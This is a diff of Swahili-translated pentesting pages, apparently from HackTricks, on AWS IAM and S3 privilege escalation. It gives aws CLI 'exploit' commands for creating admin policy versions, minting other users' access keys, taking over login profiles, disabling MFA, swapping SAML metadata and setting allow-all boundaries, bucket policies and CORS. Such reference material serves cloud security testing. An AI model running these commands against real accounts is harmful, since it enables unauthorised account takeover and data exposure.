### **`iam:CreatePolicyVersion`** -Inampa uwezo wa kuunda toleo jipya la sera ya IAM, akiuka haja ya ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa zilizobinafsishwa. +Inampa uwezo wa kuunda toleo jipya la sera ya IAM, kuepuka haja ya ruhusa `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa maalum. -**Amri ya Exploit:** +**Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Athari:** Inaongeza mamlaka moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote. +**Athari:** Huinua ruhusa moja kwa moja kwa kuruhusu kitendo chochote juu ya rasilimali yoyote. ### **`iam:SetDefaultPolicyVersion`** -Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda kwenye toleo jingine linalokuwepo, ambalo linaweza kuinua mamlaka ikiwa toleo jipya lina ruhusa zaidi. +Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda kwenye toleo jingine lililopo, jambo ambalo linaweza kusababisha kuongezeka kwa ruhusa ikiwa toleo jipya lina ruhusa zaidi. -**Amri ya Bash:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impact:** Kupandishwa kwa vibali kwa njia isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi. +**Athari:** Isiyo ya moja kwa moja privilege escalation kwa kuwezesha ruhusa zaidi. ### **`iam:CreateAccessKey`** -Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, jambo ambalo linaweza kusababisha kupandishwa kwa vibali. +Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, kuchangia uwezekano wa privilege escalation. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Athari:** Direct privilege escalation by assuming another user's extended permissions. +**Athari:** Kupandishwa kwa vibali kwa njia ya moja kwa moja kwa kuchukua nafasi ya vibali vilivyopanuliwa vya mtumiaji mwingine. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Inaruhusu kuunda au kusasisha login profile, ikiwa ni pamoja na kuweka passwords kwa AWS console login, na kusababisha direct privilege escalation. +Inaruhusu kuunda au kusasisha login profile, ikiwa ni pamoja na kuweka nywila kwa ajili ya AWS console login, na kusababisha kupandishwa kwa vibali kwa njia ya moja kwa moja. **Exploit for Creation:** ```bash @@ -55,21 +55,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Athari:** Kupandishwa hadhi kwa moja kwa moja kwa kuingia kama mtumiaji "any". +**Athari:** Direct privilege escalation kwa kuingia kama mtumiaji "any". ### **`iam:UpdateAccessKey`** -Inaruhusu kuwezesha access key iliyozimwa, jambo ambalo linaweza kusababisha ufikiaji usioidhinishwa ikiwa mshambuliaji anamiliki access key hiyo iliyozimwa. +Inaruhusu kuwezesha disabled access key, ambayo inaweza kusababisha unauthorized access ikiwa attacker anamiliki disabled key. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Athari:** Kuongezeka moja kwa moja kwa viwango vya ruhusa kwa kuanzisha tena access keys. +**Athari:** Kuinua ruhusa kwa njia ya moja kwa moja kwa kuanzisha upya funguo za ufikiaji. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Inaruhusu kuunda au kuweka upya credentials kwa huduma maalum za AWS (mfano, CodeCommit, Amazon Keyspaces), zikipata ruhusa za mtumiaji aliyehusishwa. +Inaruhusu kuzalisha au kuweka upya kredenshali kwa huduma maalum za AWS (kwa mfano, CodeCommit, Amazon Keyspaces), ambazo zinarithi ruhusa za mtumiaji aliyehusishwa. **Exploit for Creation:** ```bash @@ -79,25 +79,25 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Madhara:** Direct privilege escalation ndani ya ruhusa za huduma za mtumiaji. +**Athari:** Direct privilege escalation ndani ya service permissions za user. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Inaruhusu kuambatisha policies kwa watumiaji au vikundi, na hivyo kuongeza privileges moja kwa moja kwa kurithi ruhusa za policy iliyounganishwa. +Inaruhusu kuambatisha policies kwa users au groups, directly escalating privileges kwa kurithi permissions za policy iliyoungwa. -**Exploit kwa mtumiaji:** +**Exploit kwa User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit kwa Kundi:** +**Exploit kwa Kikundi:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Athari:** Direct privilege escalation kwa chochote sera inayoipa. +**Athari:** Kuongezeka kwa ruhusa kwa moja kwa moja hadi chochote sera inachoruhusu. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Inaruhusu kuambatisha au kuweka sera kwa roles, users, au groups, ikiruhusu direct privilege escalation kwa kuzipatia ruhusa za ziada. +Inaruhusu kuambatisha au kuweka sera kwa roles, watumiaji, au vikundi, ikiruhusu kuongezeka kwa ruhusa kwa moja kwa moja kwa kutoa ruhusa za ziada. **Exploit for Role:** ```bash @@ -127,21 +127,21 @@ Unaweza kutumia sera kama: ] } ``` -**Impact:** Kuongezeka kwa moja kwa moja kwa ruhusa kwa kuongeza ruhusa kupitia sera. +**Athari:** Kuongezeka kwa ruhusa kwa moja kwa moja kwa kuongeza idhini kupitia sera. ### **`iam:AddUserToGroup`** -Inaruhusu kujiongeza mwenyewe kwenye kundi la IAM, kupanua ruhusa kwa kurithi ruhusa za kundi. +Inaruhusu mtu kujiongezea katika kundi la IAM, na kuongeza ruhusa kwa kurithi ruhusa za kundi. **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impact:** Kuongezeka kwa mamlaka moja kwa moja hadi ngazi ya permissions za kundi. +**Athari:** Kupandishwa kwa ruhusa moja kwa moja hadi kiwango cha ruhusa za kikundi. ### **`iam:UpdateAssumeRolePolicy`** -Inaruhusu kubadilisha assume role policy document ya role, ikiruhusu assume ya role na permissions zake zinazohusiana. +Inaruhusu kubadilisha assume role policy document ya role, ikiwezesha assumption ya role na ruhusa zake zinazohusiana. **Exploit:** ```bash @@ -163,11 +163,11 @@ Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchuk ] } ``` -**Athari:** Moja kwa moja privilege escalation kwa kuchukua ruhusa za role yoyote. +**Athari:** Moja kwa moja privilege escalation kwa kudai ruhusa za role yoyote. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Inaruhusu kupakia SSH public key kwa ajili ya kuthibitisha kwa CodeCommit na ku-deactivate vifaa vya MFA, jambo ambalo linaweza kusababisha isiyo ya moja kwa moja privilege escalation. +Inaruhusu kupakia SSH public key kwa ajili ya ku-authenticate kwenye CodeCommit na ku-deactivate vifaa vya MFA, jambo ambalo linaweza kusababisha indirect privilege escalation. **Exploit for SSH Key Upload:** ```bash @@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Impact:** Kupandishwa kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuruhusu upatikanaji wa CodeCommit au kuzima ulinzi wa MFA. +**Athari:** Kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kuzima ulinzi wa MFA. ### **`iam:ResyncMFADevice`** -Huruhusu kusawazisha tena kifaa cha MFA, jambo ambalo linaweza kusababisha kupandishwa kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuingilia ulinzi wa MFA. +Inaruhusu kusawazisha upya kifaa cha MFA, jambo ambalo linaweza kusababisha kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kudhibiti ulinzi wa MFA. **Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** Kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuongeza au kudanganya vifaa vya MFA. +**Athari:** Kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuongeza au kurekebisha vifaa vya MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Kwa ruhusa hizi unaweza **kubadilisha XML metadata ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** ku **login** na **role yoyote inayomwamini**. +Kwa ruhusa hizi unaweza **change the XML metadata of the SAML connection**. Kisha, unaweza kutumia vibaya the **SAML federation** ili **login** na **role that is trusting** it. -Kumbuka kwamba kufanya hivi **watumiaji halali hawawezi kuingia**. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, login na kurejesha mipangilio ya awali. +Kumbuka kwamba kufanya hivyo **legit users won't be able to login**. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, ku-login na kurejesha usanidi wa awali ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Zana inayoweza kuzalisha SAML metadata na kuingia kwa role iliyobainishwa +> TODO: Zana inayoweza kuunda metadata ya SAML na kuingia kwa role iliyobainishwa ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Sina uhakika kuhusu hili) Iwapo mshambuliaji ana **permissions** hizi, anaweza kuongeza **Thumbprint** mpya ili kuingia kwenye roles zote zinazomwamini provider. +(Siwezi kuwa na uhakika kuhusu hili) Ikiwa mshambuliaji ana hizi **permissions** angeweza kuongeza **Thumbprint** mpya ili kuweza kuingia katika role zote zinazomwamini provider. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,9 +226,36 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya mtumiaji, na hivyo inaweza kuongeza privileges zao kwa kumruhusu kufanya vitendo ambavyo kawaida vimezuiwa na ruhusa zao zilizopo. +Ruhusa hii inamruhusu mshambuliaji kubadilisha permissions boundary ya mtumiaji, na hivyo inawezekana kuongeza mamlaka yao kwa kumruhusu kufanya vitendo ambavyo kwa kawaida vimezuiwa na ruhusa zao za sasa. +```bash +aws iam put-user-permissions-boundary \ +--user-name \ +--permissions-boundary arn:aws:iam:::policy/ -## References +Un ejemplo de una política que no aplica ninguna restricción es: + + +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BoundaryAllowAll", +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +} +``` +### `iam:PutRolePermissionsBoundary` + +Mtendaji mwenye iam:PutRolePermissionsBoundary anaweza kuweka permissions boundary kwenye role iliyopo. Hatari inapotokea wakati mtu mwenye ruhusa hii anabadilisha permissions boundary ya role: anaweza kuzuia shughuli kwa njia isiyofaa (kusababisha kukatika kwa huduma), au, ikiwa ataambatanisha permissive boundary, kwa ufanisi kupanua kile role inaweza kufanya na kuongeza ruhusa. +```bash +aws iam put-role-permissions-boundary \ +--role-name \ +--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy +``` +## Marejeo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index fa893f638..c7c243e75 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Mshambulizi mwenye permissions hizo juu ya buckets zinazovutia anaweza kuwa na uwezo wa hijack resources na escalate privileges. +Attacker mwenye permissions hizo juu ya interesting buckets anaweza kuwa na uwezo wa hijack resources na escalate privileges. -Kwa mfano, mshambulizi mwenye permissions hizo juu ya cloudformation bucket iitwayo "cf-templates-nohnwfax6a6i-us-east-1" ataweza hijack the deployment. Ufikiaji unaweza kutolewa kwa policy ifuatayo: +Kwa mfano, attacker mwenye permissions hizo juu ya cloudformation bucket inayoitwa "cf-templates-nohnwfax6a6i-us-east-1" ataweza hijack deployment. Ufikiaji unaweza kutolewa kwa policy ifuatayo: ```json { "Version": "2012-10-17", @@ -34,30 +34,29 @@ Kwa mfano, mshambulizi mwenye permissions hizo juu ya cloudformation bucket iitw ] } ``` -Na utekaji unaweza kutokea kwa sababu kuna **dirisha ndogo la muda tangu templeti inapopakuliwa** kwenye bucket hadi wakati **template inapoanzishwa**. Mshambuliaji anaweza tu kuunda **lambda function** kwenye akaunti yake ambayo itachochea **wakati taarifa ya bucket itakapotumwa**, na **kuiba** **yaliyomo** ya **bucket** hiyo. +Na hijack inawezekana kwa sababu kuna **dirisha dogo la muda tangu template inapopakuliwa** kwenye bucket hadi wakati **template inapotumika/deployed**. Mshambuliaji anaweza kuunda tu **lambda function** katika akaunti yake itakayochochewa anapofikishwa notification ya bucket, na kisha **hijack** yaliyomo ya hiyo **bucket**. ![](<../../../images/image (174).png>) -Moduli ya Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) inaweza kutumika kuendesha shambulio hili kiotomatiki.\ -Kwa maelezo zaidi angalia utafiti wa awali: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ +Kwa habari zaidi angalia utafiti asilia: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -Hizi ni ruhusa za **kupakua na kupakia vitu kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) hutumia kuhifadhi S3 kwa ajili ya kuhifadhi **config files**.\ -Mshambuliaji mwenye **read access** kwa faili hizo anaweza kupata **taarifa nyeti** ndani yao.\ -Mshambuliaji mwenye **write access** anaweza **kubadilisha data ili kutumia vibaya huduma fulani na kujaribu kupanda ngazi za ruhusa**.\ +Hizi ni ruhusa za **kupata na kupakia objects kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) zinatumia S3 kuhifadhi **config files**.\ +Mshambuliaji mwenye **read access** kwao anaweza kupata **taarifa nyeti**.\ +Mshambuliaji mwenye **write access** kwao anaweza **kubadilisha data ili kuabusa huduma fulani na kujaribu kupandisha ruhusa**.\ Hapa kuna baadhi ya mifano: -- Ikiwa instance ya EC2 inahifadhi **user data katika S3 bucket**, mshambuliaji anaweza kuibadilisha ili **execute arbitrary code ndani ya instance ya EC2**. +- Ikiwa EC2 instance inahifadhi **user data in a S3 bucket**, mshambuliaji anaweza kuibadilisha ili **execute arbitrary code inside the EC2 instance**. ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -Ni kawaida kuona kuwa faili za state za [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) zinahifadhiwa kwenye blob storage ya watoaji wa cloud, mfano AWS S3. Kiambishi cha jina la faili ya state ni `.tfstate`, na majina ya bucket mara nyingi yanaonyesha kuwa zina faili za terraform state. Kawaida, kila akaunti ya AWS ina bucket moja ya aina hii kuhifadhi faili za state zinazoonyesha hali ya akaunti. -Pia mara nyingi, kwenye akaunti za dunia halisi, karibu kila muendeleaji ana `s3:*` na wakati mwingine hata watumiaji wa biashara wana `s3:Put*`. +Ni kawaida sana kwamba [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files zinahifadhiwa kwenye blob storage za cloud providers, mfano AWS S3. Kiambishi cha faili cha state file ni `.tfstate`, na majina ya bucket mara nyingi yanaonyesha kwamba zinabeba terraform state files. Kwa kawaida, kila akaunti ya AWS ina bucket kama hiyo kuhifadhi state files zinazonyesha hali ya akaunti. Pia kwa kawaida, katika akaunti za ulimwengu halisi mara nyingi watengenezaji wote wana `s3:*` na wakati mwingine hata watumiaji wa biashara wana `s3:Put*`. -Hivyo, ikiwa una ruhusa zilizoonyeshwa juu ya faili hizi, kuna njia ya kushambulia inayokuwezesha kupata RCE kwenye pipeline kwa ruhusa za `terraform` - mara nyingi `AdministratorAccess`, na kukufanya kuwa msimamizi wa akaunti ya cloud. Pia, unaweza kutumia njia hiyo kufanya shambulio la denial of service kwa kumfanya `terraform` kufuta rasilimali halali. +Kwa hivyo, ikiwa una ruhusa zilizotajwa juu ya faili hizi, kuna vector ya mashambulizi inayokuwezesha kupata RCE katika pipeline kwa haki za `terraform` - mara nyingi `AdministratorAccess`, ikikufanya kuwa admin wa akaunti ya cloud. Pia, unaweza kutumia vector hiyo kufanya mashambulizi ya denial of service kwa kufanya `terraform` kufuta rasilimali halali. -Fuata maelezo katika sehemu ya *Abusing Terraform State Files* ya ukurasa wa *Terraform Security* kwa kificho kinachoweza kutumika moja kwa moja: +Fuata maelezo katika sehemu *Abusing Terraform State Files* ya ukurasa *Terraform Security* kwa code ya exploit inayoweza kutumika moja kwa moja: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -65,7 +64,7 @@ Fuata maelezo katika sehemu ya *Abusing Terraform State Files* ya ukurasa wa *Te ### `s3:PutBucketPolicy` -Mshambuliaji, anayeweza kuwa **ndani ya akaunti hiyo hiyo**, vinginevyo kosa `The specified method is not allowed will trigger`, akiwa na ruhusa hii atajipa uwezo zaidi kwa bucket(s) ikimuwezesha kusoma, kuandika, kubadilisha, kufuta na kufichua buckets. +Mshambuliaji, anayehitajika kuwa **from the same account**, vinginevyo hitilafu `The specified method is not allowed will trigger`, akiwa na ruhusa hii ataweza kujipa ruhusa zaidi juu ya bucket(s) zinazomruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Mshambuliaji anaweza kutumia vibaya ruhusa hizi kumpa upatikanaji zaidi kwa objects maalum ndani ya buckets. +An attacker anaweza kutumia vibaya ruhusa hizi kumpa ufikiaji zaidi kwa objects maalum ndani ya buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Mshambulizi ambaye ana vibali hivi anatarajiwa kuwa na uwezo wa kuweka Acl kwa object version maalum. +Mshambuliaji mwenye vibali hivi anatarajiwa kuwa na uwezo wa kuweka Acl kwa toleo fulani la object ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` +### `s3:PutBucketCORS` + +Attacker mwenye ruhusa ya `s3:PutBucketCORS` anaweza kubadilisha usanidi wa CORS (Cross-Origin Resource Sharing) wa bucket, ambao unadhibiti ni domain gani za wavuti zinaweza kufikia endpoints yake. Ikiwa watapanga permissive policy, tovuti yoyote inaweza kutuma direct requests kwa bucket na kusoma responses kutoka kwa browser. + +Hii ina maana kwamba, kwa mfano, ikiwa authenticated user wa web app iliyohost kwenye bucket atatembelea website ya attacker, attacker anaweza exploit permissive CORS policy na, kulingana na application, kupata user's profile data au hata hijack user's account. +```bash +aws s3api put-bucket-cors \ +--bucket \ +--cors-configuration '{ +"CORSRules": [ +{ +"AllowedOrigins": ["*"], +"AllowedMethods": ["GET", "PUT", "POST"], +"AllowedHeaders": ["*"], +"ExposeHeaders": ["x-amz-request-id"], +"MaxAgeSeconds": 3000 +} +] +}' +``` {{#include ../../../../banners/hacktricks-training.md}}